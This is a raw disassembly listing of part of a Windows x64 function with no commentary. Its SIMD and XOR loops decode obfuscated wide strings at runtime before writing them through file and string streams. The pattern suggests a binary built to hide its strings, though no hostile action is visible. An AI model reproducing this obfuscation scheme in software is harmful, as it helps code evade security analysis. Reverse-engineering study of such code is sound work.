movq xmm0, qword [0x140262df0]
pxor xmm3, xmm0
movq qword [rbp - 0x78], xmm3
movdqa xmm5, xmmword [0x140265160]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm11
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140265170]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x70]
pxor xmm3, xmm1
movq qword [rbp - 0x70], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp - 0x78]
lea r10, [r10 + rax*2]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
sub cx, r8w
add cx, 0x24
add cx, r9w
add cx, cx
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x1401c6050
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x1a0]
call fcn.140212750
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 8
cmovae rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov rcx, rax
call fcn.140218dd0
mov r11, rax
movups xmm0, xmmword [str.jflr]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140262218]
movsd qword [rsp + 0x78], xmm0
movzx eax, word [0x140262220]
mov word [rbp - 0x80], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401c62ae
movdqa xmm6, xmmword [0x140265220]
movd xmm7, edi
movdqa xmm8, xmmword [0x140265230]
movd xmm9, esi
movd xmm11, r14d
movdqa xmm13, xmmword [0x1402651e0]
movdqa xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm11
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140265170]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [str.jflr]
pxor xmm3, xmm0
movq qword [rsp + 0x68], xmm3
movdqa xmm5, xmmword [0x140265160]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm11
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140265170]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x70]
pxor xmm3, xmm1
movq qword [rsp + 0x70], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x68]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
sub cx, r8w
add cx, 0x24
add cx, r9w
add cx, cx
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x1401c62c0
lea rdx, [rsp + 0x68]
mov rcx, r11
call fcn.140212750
lea rcx, [rbp + 0x1a8]
call fcn.1402102c0
test rax, rax
jne 0x1401c6355
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x50]
call fcn.140210860
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [r13 + 0x10], xmm1
movdqa xmm0, xmmword [0x140265120]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], r15w
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp + 0x1a8]
call fcn.14020d410
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.140210860
nop
lea rcx, [rbp + 0x88]
call fcn.140210860
nop
mov rcx, qword [rbp + 0xb0]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rdx + 0xb0], rax
mov rcx, qword [rbp + 0xb0]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0xac], r8d
jmp 0x1401c64e0
xor eax, eax
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x40]
mov rcx, r13
call fcn.14020ec70
nop
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp + 0x1a8]
call fcn.14020d410
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.140210860
nop
lea rcx, [rbp + 0x88]
call fcn.140210860
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.14020e860
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rax, r13
mov rcx, qword [rbp + 0x5300]
xor rcx, rsp
call fcn.140234e20
lea r11, [rsp + 0x54a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret